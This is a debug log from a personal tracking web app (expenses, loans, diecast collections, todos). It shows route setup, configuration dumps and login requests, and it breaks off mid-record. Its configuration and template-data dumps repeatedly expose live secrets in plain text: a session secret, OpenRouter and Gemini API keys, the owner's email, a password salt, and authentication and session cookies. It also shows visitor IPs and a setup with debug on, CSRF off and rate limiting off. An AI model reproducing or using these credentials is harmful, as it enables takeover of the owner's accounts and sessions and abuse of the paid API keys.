2026-06-01T09:34:24.289Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-01T09:34:24.291Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-01T09:34:24.302Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-01T13:53:45.281Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-01T13:53:47.457Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-01T13:53:48.320Z server-connect:setup:upload Upload middleware configured.
2026-06-01T13:53:48.320Z server-connect:secure CSRF Protection initialized
2026-06-01T13:53:48.325Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-01T13:53:48.327Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-01T13:53:48.328Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-01T13:53:48.330Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-01T13:53:48.338Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-01T13:53:48.339Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-01T13:53:48.353Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-01T13:53:48.367Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-01T13:53:48.371Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-01T13:53:48.373Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-01T13:53:48.375Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-01T13:53:48.379Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-01T13:53:48.385Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-01T13:53:48.394Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-01T13:53:48.399Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-01T13:53:48.469Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-01T13:53:48.470Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-01T13:53:48.476Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-01T13:53:48.480Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-01T13:53:48.484Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-01T13:53:48.486Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-01T13:53:48.495Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-01T13:53:48.495Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-01T13:53:48.502Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-01T13:53:48.504Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-01T13:53:48.509Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-01T13:53:48.509Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-01T13:53:48.513Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-01T13:53:48.517Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-01T13:53:48.521Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-01T13:53:48.521Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-01T13:53:48.526Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-01T13:53:48.529Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-01T13:53:48.532Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-01T13:53:48.537Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-01T13:53:48.541Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-01T13:53:48.543Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-01T13:53:48.553Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-02T12:49:59.105Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-02T12:50:01.313Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-02T12:50:02.175Z server-connect:setup:upload Upload middleware configured.
2026-06-02T12:50:02.176Z server-connect:secure CSRF Protection initialized
2026-06-02T12:50:02.181Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-02T12:50:02.183Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-02T12:50:02.184Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-02T12:50:02.187Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-02T12:50:02.192Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-02T12:50:02.199Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-02T12:50:02.210Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-02T12:50:02.222Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-02T12:50:02.227Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-02T12:50:02.229Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-02T12:50:02.230Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-02T12:50:02.235Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-02T12:50:02.240Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-02T12:50:02.251Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-02T12:50:02.254Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-02T12:50:02.327Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-02T12:50:02.328Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-02T12:50:02.331Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-02T12:50:02.338Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-02T12:50:02.342Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-02T12:50:02.344Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-02T12:50:02.352Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-02T12:50:02.356Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-02T12:50:02.362Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-02T12:50:02.364Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-02T12:50:02.368Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-02T12:50:02.368Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-02T12:50:02.371Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-02T12:50:02.377Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-02T12:50:02.379Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-02T12:50:02.381Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-02T12:50:02.383Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-02T12:50:02.387Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-02T12:50:02.389Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-02T12:50:02.395Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-02T12:50:02.399Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-02T12:50:02.401Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-02T12:50:02.410Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-02T12:50:02.941Z server-connect:router Serving templateView /
2026-06-02T12:50:02.946Z server-connect:app Executing action step identify
2026-06-02T12:50:02.946Z server-connect:app options: { provider: 'security' }
2026-06-02T12:50:02.954Z server-connect:auth No login cookie found
2026-06-02T12:50:02.954Z server-connect:output identity: false
2026-06-02T12:50:02.954Z server-connect:app Executing action step restrict
2026-06-02T12:50:02.954Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-02T12:50:02.958Z server-connect:output restrict: undefined
2026-06-02T12:50:03.644Z server-connect:router Serving templateView /login
2026-06-02T12:50:03.644Z server-connect:app Executing action step identify
2026-06-02T12:50:03.644Z server-connect:app options: { provider: 'security' }
2026-06-02T12:50:03.644Z server-connect:auth No login cookie found
2026-06-02T12:50:03.645Z server-connect:output identity: false
2026-06-02T12:50:03.645Z server-connect:router Render template layouts/authentication
2026-06-02T12:50:03.645Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.42',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-03T12:50:03.642Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.42',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.42',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-02T13:13:09.127Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-02T13:13:09.306Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-02T13:13:09.392Z server-connect:setup:upload Upload middleware configured.
2026-06-02T13:13:09.393Z server-connect:secure CSRF Protection initialized
2026-06-02T13:13:09.395Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-02T13:13:09.396Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-02T13:13:09.397Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-02T13:13:09.397Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-02T13:13:09.398Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-02T13:13:09.398Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-02T13:13:09.399Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-02T13:13:09.400Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-02T13:13:09.403Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-02T13:13:09.403Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-02T13:13:09.403Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-02T13:13:09.404Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-02T13:13:09.404Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-02T13:13:09.404Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-02T13:13:09.405Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-02T13:13:09.405Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-02T13:13:09.405Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-02T13:13:09.406Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-02T13:13:09.406Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-02T13:13:09.406Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-02T13:13:09.406Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-02T13:13:09.407Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-02T13:13:09.407Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-02T13:13:09.407Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-02T13:13:09.408Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-02T13:13:09.408Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-02T13:13:09.408Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-02T13:13:09.408Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-02T13:13:09.408Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-02T13:13:09.409Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-02T13:13:09.409Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-02T13:13:09.409Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-02T13:13:09.409Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-02T13:13:09.409Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-02T13:13:09.410Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-02T13:13:09.410Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-02T13:13:09.410Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-02T13:13:09.410Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-02T13:13:09.520Z server-connect:router Serving templateView /
2026-06-02T13:13:09.524Z server-connect:app Executing action step identify
2026-06-02T13:13:09.524Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:09.525Z server-connect:auth No login cookie found
2026-06-02T13:13:09.525Z server-connect:output identity: false
2026-06-02T13:13:09.526Z server-connect:app Executing action step restrict
2026-06-02T13:13:09.526Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-02T13:13:09.530Z server-connect:output restrict: undefined
2026-06-02T13:13:09.761Z server-connect:router Serving templateView /login
2026-06-02T13:13:09.762Z server-connect:app Executing action step identify
2026-06-02T13:13:09.762Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:09.762Z server-connect:auth No login cookie found
2026-06-02T13:13:09.762Z server-connect:output identity: false
2026-06-02T13:13:09.762Z server-connect:router Render template layouts/authentication
2026-06-02T13:13:09.763Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.184.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-03T13:13:09.760Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.184.128',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.184.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-02T13:13:22.372Z server-connect:router Serving serverConnect /api/access-control/login
2026-06-02T13:13:22.373Z server-connect:app Executing action step identify
2026-06-02T13:13:22.373Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:22.373Z server-connect:auth No login cookie found
2026-06-02T13:13:22.373Z server-connect:output identity: false
2026-06-02T13:13:22.373Z server-connect:app Executing action step login
2026-06-02T13:13:22.373Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-06-02T13:13:22.378Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-06-02T13:13:22.429Z server-connect:output identity: 1
2026-06-02T13:13:22.430Z server-connect:app Executing action step restrict
2026-06-02T13:13:22.430Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-02T13:13:22.431Z server-connect:output restrict: undefined
2026-06-02T13:13:22.640Z server-connect:router Serving templateView /
2026-06-02T13:13:22.640Z server-connect:app Executing action step identify
2026-06-02T13:13:22.641Z server-connect:app options: { provider: 'security' }
2026-06-02T13:13:22.641Z server-connect:output identity: 1
2026-06-02T13:13:22.641Z server-connect:app Executing action step restrict
2026-06-02T13:13:22.641Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-02T13:13:22.642Z server-connect:output restrict: undefined
2026-06-02T13:13:22.642Z server-connect:app Executing action step restrict
2026-06-02T13:13:22.642Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-02T13:13:22.643Z server-connect:output restrict: undefined
2026-06-02T13:13:22.643Z server-connect:router Render template layouts/main
2026-06-02T13:13:22.643Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6e1JMIlH0U2gkPfg0V5jiA%3D%3D.H%2FAdjc50SANbl%2F0Q5OWTAd6GsCc6XSVydaZnjKktbleAKBOXsNy1OCBb0KAG6xcXL0nYFNm6wOASx6d6mHcUvG9Uu0KSF4g8M4%2FpKQE1n%2BoHRZW62w6%2FI4vuMH4JMOXV%2B7m0XoahN%2FnBE%2FHLWkK3xS18JnMe0DgpGwh4uWznmH0%3D.q%2FQ9jljozcSwLj8Q9StbA4%2BAQwV21hFwfgneiH3eN7g; your_r_git.sid=s%3A1u7U3bkRXnViKlmnNywqYGu3Jhb9KWTh.tLjJu5AQArlohiTe2SLaEY1MBeWV6mtSIFh306nSpEI',
    'x-forwarded-for': '49.43.184.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-03T13:13:22.431Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.184.128',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
